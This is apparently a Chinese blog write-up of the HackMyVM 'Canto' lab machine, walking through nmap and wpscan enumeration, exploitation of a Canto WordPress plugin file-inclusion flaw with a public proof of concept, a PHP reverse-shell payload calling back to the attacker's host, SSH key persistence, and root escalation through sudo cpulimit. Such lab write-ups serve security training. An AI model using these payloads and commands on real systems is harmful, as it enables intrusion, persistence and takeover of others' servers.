Canto - hackmyvm

最新推荐文章于 2024-08-02 16:22:25 发布
最新推荐文章于 2024-08-02 16:22:25 发布
阅读量224 收藏 2
点赞数 6
分类专栏： hackmyvm靶场合集 文章标签： 网络 安全 网络安全 服务器 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/tanbinn/article/details/140857733
版权

简介

靶机名称：Canto

难度：简单

靶场地址：https://hackmyvm.eu/machines/machine.php?vm=Canto

本地环境

虚拟机：vitual box

靶场IP（Canto）：192.168.130.53

windows_IP：192.168.130.158

kali_IP：192.168.130.166

扫描

nmap起手

nmap -sT -p0- 192.168.130.53 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
sudo nmap -sT -sV -sC -O -p$ports 192.168.130.53/32 -oA nmapscan/detail

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-01 05:55 EDT
Nmap scan report for canto.lan (192.168.130.53)
Host is up (0.00084s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c6:af:18:21:fa:3f:3c:fc:9f:e4:ef:04:c9:16:cb:c7 (ECDSA)
|_  256 ba:0e:8f:0b:24:20:dc:75:b7:1b:04:a1:81:b6:6d:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Ubuntu))
|_http-generator: WordPress 6.5.3
|_http-server-header: Apache/2.4.57 (Ubuntu)
|_http-title: Canto
MAC Address: 08:00:27:73:D7:34 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.95 seconds

HTTP

框架是wordpress，直接wpscan先试试

wpscan --url http://192.168.130.53/ --plugins-detection aggressive -e u,ap --api-token=Vjt...

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.130.53/ [192.168.130.53]
[+] Started: Thu Aug  1 09:23:25 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.57 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.130.53/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.130.53/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.130.53/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.130.53/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

Fingerprinting the version - Time: 00:00:02 <==========> (702 / 702) 100.00% Time: 00:00:02
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentytwentyfour
 | Location: http://192.168.130.53/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-07-16T00:00:00.000Z
 | Readme: http://192.168.130.53/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.2
 | [!] Directory listing is enabled
 | Style URL: http://192.168.130.53/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.130.53/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:01:04 <=====> (106191 / 106191) 100.00% Time: 00:01:04
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://192.168.130.53/wp-content/plugins/akismet/
 | Last Updated: 2024-07-10T22:16:00.000Z
 | Readme: http://192.168.130.53/wp-content/plugins/akismet/readme.txt
 | [!] The version is out of date, the latest version is 5.3.3
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/akismet/, status: 200
 |
 | Version: 5.3.2 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/akismet/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/akismet/readme.txt

[+] canto
 | Location: http://192.168.130.53/wp-content/plugins/canto/
 | Last Updated: 2024-07-17T04:18:00.000Z
 | Readme: http://192.168.130.53/wp-content/plugins/canto/readme.txt
 | [!] The version is out of date, the latest version is 3.0.9
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/canto/, status: 200
 |
 | [!] 4 vulnerabilities identified:
 |
 | [!] Title: Canto <= 3.0.8 - Unauthenticated Blind SSRF
 |     References:
 |      - https://wpscan.com/vulnerability/29c89cc9-ad9f-4086-a762-8896eba031c6
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28976
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28977
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28978
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24063
 |      - https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0
 |
 | [!] Title: Canto < 3.0.5 - Unauthenticated Remote File Inclusion
 |     Fixed in: 3.0.5
 |     References:
 |      - https://wpscan.com/vulnerability/9e2817c7-d4aa-4ed9-a3d7-18f3117ed810
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3452
 |
 | [!] Title: Canto < 3.0.7 - Unauthenticated RCE
 |     Fixed in: 3.0.7
 |     References:
 |      - https://wpscan.com/vulnerability/1595af73-6f97-4bc9-9cb2-14a55daaa2d4
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25096
 |      - https://patchstack.com/database/vulnerability/canto/wordpress-canto-plugin-3-0-6-unauthenticated-remote-code-execution-rce-vulnerability
 |
 | [!] Title: Canto < 3.0.9 - Unauthenticated Remote File Inclusion
 |     Fixed in: 3.0.9
 |     References:
 |      - https://wpscan.com/vulnerability/3ea53721-bdf6-4203-b6bc-2565d6283159
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4936
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338
 |
 | Version: 3.0.4 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/canto/readme.txt
 | Confirmed By: Composer File (Aggressive Detection)
 |  - http://192.168.130.53/wp-content/plugins/canto/package.json, Match: '3.0.4'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=============> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] erik
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.130.53/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 21

可以看到canto插件有漏洞，searchsplolit找一下

image-20240801204116194

那就没什么好说的了，直接打poc

CVE-2023-3452

https://github.com/leoanggal1/CVE-2023-3452-PoC

先准备一个反弹shell的php文件

<?php system("bash -c 'sh -i >& /dev/tcp/192.168.130.166/40000 0>&1'");?>

然后起个监听

 rlwrap -cAr nc -lvvp 40000

最后poc打过去就好了

python3 CVE-2023-3452.py -u http://192.168.130.53 -LHOST 192.168.130.166  -s ./shell.php

image-20240801205141227

提权

备份

在/var/wordpress/backups路径下找到账密备份文件

image-20240801205423946

www-data@canto:/var/wordpress/backups$ su erik
su erik
Password: th1sIsTheP3ssw0rd!

erik@canto:/var/wordpress/backups$ cd
cd
erik@canto:~$ ls
ls
notes  user.txt
erik@canto:~$ id
id
uid=1001(erik) gid=1001(erik) groups=1001(erik)

提权成功，拿到user.txt

顺手把公钥传上去维权

erik@canto:~$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
...
erik@canto:~/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5sWbMpzoFOhxwVIjKUYvvMce5kR6XSmnTp7u2TlCmW kali@kali" > authorized_keys

sudo提权

sudo -l查看权限

erik@canto:/$ sudo -l
Matching Defaults entries for erik on canto:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User erik may run the following commands on canto:
    (ALL : ALL) NOPASSWD: /usr/bin/cpulimit

GTFOBINS有一键提权方案

image-20240801210131374

erik@canto:/$ sudo /usr/bin/cpulimit -l 100 -f /bin/bash
Process 3024 detected
root@canto:/# cd
root@canto:~# id
uid=0(root) gid=0(root) groups=0(root)
root@canto:~# ls
root.txt  snap

结束

古明地核
关注
  • 6
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Hackmyvm综合靶机 | Driftingblues-1
IerkeU的博客
04-01 3162
前提概要 靶场地址：https://www.vulnhub.com/entry/driftingblues-1,625/，是一个极其简单的靶场，需要具备以下前置知识： 基础的Linux命令及操作 基础的渗透测试工具使用（Kali / nmap下的工具） 二珂说：这个靶机系列是跟着新仔一起入坑的，他太卷了，咱们也不能速度太慢了！！！后面还会再次复习DC靶机的实现过程… 信息收集 arp-scan 192.168.132.0/24 之前都是扫出目标后就之间nmap一把梭 后面了解到这样容易暴露目标 所以
hackmyvm: again walkthrough
xdeclearn的博客
10-12 226
1. 命令执行获取shell PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 访问web，获得用户名和提示。 下载 upload.bck. <?php if (!isset($_FILES["myFile"])) { die("There is no file to upload."); } $filepath = $_FILES['myFile']['tmp_name']; $fileSize = filesize($fi
alzheimer ---hackmyvm
m0_64253567的博客
07-23 190
hackmyvm ----alzheimer
Run - hackmyvm
tanbinn的博客
04-09 511
hackmyvm的Run靶场
Immortal - hackmyvm
tanbinn的博客
04-12 382
hackmyvm的Immortal靶场
HackMyVM-BaseME
分享
04-18 541
HackMyVM-BaseME。。。。ez~
HackMyVM-Twisted
分享
04-25 372
HackMyVM-Twisted。。。。图片隐写、横向移动、逆向分析！
hackmyvm | venus 1-50 mission 靶机
菜鸡一枚
03-23 535
hackmyvm venus 1-50 mission venus靶机适合刚开始玩CTF，想练练Linux技能的人
【hackmyvm】Slowman靶机
woshicainiao666的博客
05-20 1961
发现/secretLOGIN/login.html为登录地址，根据账号密码登录发现一个zip，但是需要密码。在FTP中得到的账号，爆破一下SSH。上传linpeas.sh文件，报一下。SSH爆破无果，试试mysql。得到用户名和加密的密码。
canto-next：下一代Canto RSS守护程序
02-26
坎托·戴蒙（Canto Daemon） 这是Canto客户的RSS后端。 Canto-curses是位于以下位置的默认客户端： 要求 Debian / Ubuntu - python3 - python3-feedparser Arch (Py3 is default) - python - python-feedparser ...
K9130CAN-to-WiFi协议转换器可定制CAN转WLAN无线数据采集收发器.docx
12-13
K9130CAN-to-WiFi协议转换器可定制CAN转WLAN无线数据采集收发器.docx
USB-To-Can.zip
11-28
"USB-to-CAN"设备是将CAN总线通信能力通过USB接口集成到个人电脑或控制系统中的关键工具。 在"USB-To-Can.zip"这个压缩包中，我们很可能找到了一个用于USB-CAN转换的软件或者驱动程序。这种工具通常包括以下部分： ...
nodebb-plugin-xeno-canto:Xeno-canto 嵌入插件 -- http
06-14
异唱嵌入 此插件允许您嵌入来自 xeno-canto 网站 ( ) 的音频片段。 只需粘贴来自 Xeno-canto 网站的链接，它就会自动转换为丰富的播放小部件。 安装 通过管理控制面板中的插件管理页面安装此插件。 截图
TMS320F28035-CAN-NORMAL
07-07
【TMS320F28035-CAN-NORMAL】是基于TI公司推出的TMS320F28035微控制器的一个CAN（Controller Area Network）通信实例，该实例主要涉及到将原有的ECAN（Enhanced CAN）"back-to-back"模式转换为常规的“normal”模式...
【Vulnhub系列】Vulnhub Connect-The-Dots 靶场渗透（原创）
最新发布
Lusen的博客
08-02 325
Vulnhub系列Connect-The-Dots靶场做题记录
网络安全在2024好入行吗？
2401_84466225的博客
07-29 645
024年的今天，慎重进入网安行业吧，目前来说信息安全方向的就业对于学历的容忍度比软件开发要大得多，还有很多高中被挖过来的大佬。
linux操作系统_TCP
hkhkhkhkh123的博客
07-30 1051
1）三次握手和四次挥手机制 2) 确认应答：TCP将每个字节的数据都进行了编号，即为序列号。每一个ACK都带有对应的确认序列号，保证数据不丢失的按序到达 3）超时重传：当发送端发送的数据在网络中丢失时，在一定时间内没有收到接收端的ACK，则发送端会重新发送丢失数据。2. ACK： 确认应答标志 3. PSH: 表示发送数据，提示接收端从TCP接收缓冲区中读走数据，为接收后续数据腾出空间 4. RST： 重置连接标志 5. SYN： 表示请求建立一个连接 6. FIN： finish标志， 表示释放连接。
保护国外使用代理IP的安全方法
iphttp的博客
07-30 410
用户在国外使用代理IP时，应该时刻保持警惕，不要随意点击可疑链接，养成良好的网络安全意识。此外，用户还应该避免在代理服务器上输入敏感信息，如银行账号、密码等。使用代理IP时，用户应该尽量使用加密协议（如SSL、TLS）来保护数据传输的安全。这将确保用户的个人信息和访问记录不会被黑客窃取或监控。在选择代理服务器时，用户应该选择那些经过验证和信任的服务器，如知名的VPN服务提供商。用户应该定期更新操作系统和软件，以确保其安全性。这样可以有效地防止黑客通过代理服务器攻击用户的计算机或移动设备。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值